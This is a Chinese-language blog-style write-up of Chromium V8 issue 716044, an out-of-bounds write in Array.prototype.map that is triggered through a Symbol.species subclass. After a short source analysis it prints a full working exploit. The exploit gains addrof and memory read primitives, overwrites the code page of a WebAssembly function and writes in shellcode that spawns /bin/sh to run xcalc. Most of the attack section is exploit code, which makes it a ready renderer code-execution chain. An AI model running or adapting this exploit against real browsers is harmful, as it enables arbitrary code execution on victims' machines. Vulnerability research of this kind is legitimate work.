Chrome_v8_716044 Array.prototype.map OOB write

Issue 716044: V8: OOB write in Array.prototype.map builtin
https://bugs.chromium.org/p/chromium/issues/detail?id=716044

参考

作者的博客
https://halbecaf.com/2017/05/24/exploiting-a-v8-oob-write/

漏洞分析

漏洞出在CSA builtin函数Array.map中
在builtins-array-gen.cc可以找到其实现。
主调用链如下:

1
2
3
4
5
6
7
8
9
10
TF_BUILTIN(ArrayMap, ArrayBuiltinCodeStubAssembler)
-> Node* receiver = args.GetReceiver(); //获得this
-> Node* callbackfn = args.GetOptionalArgumentValue(0, UndefinedConstant()); //获得callback function
-> Node* this_arg = args.GetOptionalArgumentValue(1, UndefinedConstant()); // callback_func this_arg
-> InitIteratingArrayBuiltinBody(context, receiver, callbackfn, this_arg,new_target, argc)
-> GenerateIteratingArrayBuiltinBody( //实现
"Array.prototype.map", &ArrayBuiltinCodeStubAssembler::MapResultGenerator,
&ArrayBuiltinCodeStubAssembler::MapProcessor,
&ArrayBuiltinCodeStubAssembler::NullPostLoopAction,
Builtins::CallableFor(isolate(), Builtins::kArrayMapLoopContinuation));

GenerateIteratingArrayBuiltinBody的实现如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
void GenerateIteratingArrayBuiltinBody(
const char* name, const BuiltinResultGenerator& generator,
const CallResultProcessor& processor, const PostLoopAction& action,
const Callable& slow_case_continuation,
ForEachDirection direction = ForEachDirection::kForward) {
Label non_array(this), slow(this, {&k_, &a_, &to_}),
array_changes(this, {&k_, &a_, &to_});
...

// 1. Let O be ToObject(this value).
// 2. ReturnIfAbrupt(O)
o_ = CallStub(CodeFactory::ToObject(isolate()), context(), receiver());//this

// 3. Let len be ToLength(Get(O, "length")).
// 4. ReturnIfAbrupt(len).
VARIABLE(merged_length, MachineRepresentation::kTagged);
Label has_length(this, &merged_length), not_js_array(this);
GotoIf(DoesntHaveInstanceType(o(), JS_ARRAY_TYPE), &not_js_array);
merged_length.Bind(LoadJSArrayLength(o()));// this array length
Goto(&has_length);
...
BIND(&has_length);
len_ = merged_length.value();
...
a_.Bind(generator(this)); // 以o_创建衍生对象,该对象作为map函数返回的对象
HandleFastElements(processor, action, &slow, direction);
...
Node* result =
CallStub(slow_case_continuation, context(), receiver(), callbackfn(),
this_arg(), a_.value(), o(), k_.value(), len(), to_.value());
ReturnFromBuiltin(result);
}

这里 **o_ = this Array , len_ = this Array的长度 , a_ = 衍生对象
根据 https://bugs.chromium.org/p/chromium/issues/detail?id=716044 可得知a_.Bind(generator(this))存在问题.
generator这里是MapResultGenerator,这里直接调用了ArraySpeciesCreate(context(), o(), len_)

1
2
3
4
Node* MapResultGenerator() {
// 5. Let A be ? ArraySpeciesCreate(O, len).
return ArraySpeciesCreate(context(), o(), len_);
}

而ArraySpeciesCreate调用了Object::ArraySpeciesConstructor

1
2
3
4
5
6
7
8
9
Node* CodeStubAssembler::ArraySpeciesCreate(Node* context, Node* originalArray,
Node* len) {
// TODO(mvstanton): Install a fast path as well, which avoids the runtime
// call.
Node* constructor =
CallRuntime(Runtime::kArraySpeciesConstructor, context, originalArray);// MaybeHandle<Object> Object::ArraySpeciesConstructor(
return ConstructJS(CodeFactory::Construct(isolate()), context, constructor,
len);
}

ArraySpeciesConstructor这个函数会找到this对象的[Symbol.species]属性,以该属性返回的函数当做构造函数.

通过查阅资料(http://es6.ruanyifeng.com/#docs/symbol#)得知:
Symbol.species

1
2
3
class MyArray extends Array {
static get [Symbol.species]() { return Array; }
}

这时候再创建MyArray的衍生对象就将 Symbol.species返回的函数当做构造函数(constructor)
什么是衍生对象?

1
2
3
4
5
6
7
class MyArray extends Array {
static get [Symbol.species]() { return Array; }
}
const a = new MyArray();
const b = a.map(x => x);
b instanceof MyArray // false
b instanceof Array // true

这里生成的对象b就是衍生对象. Symbol.species的作用在于,实例对象在运行过程中,需要再次调用自身的构造函数时,会调用Symbol.species返回的构造函数
注意new一个MyArray对象的时候不会调用Symbol.species指定的构造函数

默认情况下[Symbol.species]属性是像下面这样的:

1
2
3
static get [Symbol.species]() {
return this;
}

这里调用map的对象是Array,则this即是Array.
而我们可以写一个子类继承自Array.创建一个[Symbol.species]属性,该函数返回另一个我们创建的类,该类继承自Array,这里我们可以修改此类的构造函数,生成一个length自定义的Array. 控制该Array的length小于this Array即可OOB write.

获得一个OOB Array

利用越界写,修改一个Array的length属性,得到一个可以越界写的Array,然后得到addrof,read,write原语,写入shellcode即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
let oob_array ;
class Array1 extends Array {
constructor(len) {
super(1);
oob_array = new Array(1.1, 1.1);
}
};
class MyArray extends Array {
static get [Symbol.species]() {
return Array1;
}
}
let myarray = new MyArray();
myarray.length = 9;
myarray[4] = 42;
myarray[8] = 42;
let a = myarray.map(function(x) { return 10000; });

完整exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
class convert
{
constructor()
{
this.buf=new ArrayBuffer(8)
this.uint8array=new Uint8Array(this.buf);
this.float64array=new Float64Array(this.buf);
this.uint32array=new Uint32Array(this.buf);
}
f2i(x)//float64 ==> uint64
{
this.float64array[0]=x;
let sum = 0;
for (let i = 0 ;i< 8 ;i ++)
sum += this.uint8array[i]*(0x100**i);
return sum;
}
i2f(x)
{
let tmp = [];
tmp[0] = (x % 0x100000000);
tmp[1] = ((x - tmp[0]) / 0x100000000);
this.uint32array[0]=tmp[0];
this.uint32array[1]=tmp[1];
return this.float64array[0];
}
}
let conv = new convert();
function gc() { for (let i = 0; i < 0x10; i++) { new ArrayBuffer(0x1000000); } }
let oob_array ;
let obj_array ;
let buf ;
class Array1 extends Array {
constructor(len) {
super(1);
oob_array = new Array(1.1, 1.1);
obj_array = [{"a":0x414141,"b":{}}];
buf = new ArrayBuffer(0x91);
//%DebugPrint(obj_array);
//%DebugPrint(buf);
//%SystemBreak();
}
};

class MyArray extends Array {
static get [Symbol.species]() {
return Array1;
}
}
let myarray = new MyArray();
myarray.length = 9;
myarray[4] = 42;
myarray[8] = 42;
let a = myarray.map(function(x) { return 10000; });

let obj_offset ;
let buf_offset ;
for(let i = 0 ; i < 0x1000 ; i++)
{
if(conv.f2i(oob_array[i]) == 0x41414100000000)
{
obj_offset = i+1;
break;
}
}
for(let i = 0 ; i < 0x1000 ; i++)
{
if(conv.f2i(oob_array[i]) == 0x9100000000)
{
buf_offset = i+1;
break;
}
}
function addrof(obj)
{
obj_array[0].b = obj;
return conv.f2i(oob_array[obj_offset]);
}
function read(addr)
{
oob_array[buf_offset] = conv.i2f(addr);
let uint8array = new Uint8Array(buf);
let sum = 0 ;
for (let i = 0 ;i< 8 ;i ++)
sum += uint8array[i]*(0x100**i);
return sum;
}
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f = wasmInstance.exports.main;
//%DebugPrint(f);
let f_addr = addrof(f) - 1;
console.log("f_addr ==> 0x"+f_addr.toString(16));
let share_info_addr = read(f_addr + 0x20) - 1;
console.log("share_info ==> 0x"+share_info_addr.toString(16));
let code = read(share_info_addr + 8) - 1 + 0x80

shellcode =[72,49,210,82,72,141,61,48,0,0,0,87,72,141,61,37,0,0,0,87,72,141,61,21,0,0,0,87,72,141,52,36,72,141,61,9,0,0,0,72,199,192,59,0,0,0,15,5,47,98,105,110,47,115,104,0,45,99,0,101,120,112,111,114,116,32,68,73,83,80,76,65,89,61,58,48,46,48,59,120,99,97,108,99,0]

oob_array[buf_offset] = conv.i2f(code);
let dataview = new DataView(buf);
for(let i = 0 ; i < shellcode.length ; i++)
{
dataview.setUint8(i,shellcode[i],true);
}
f();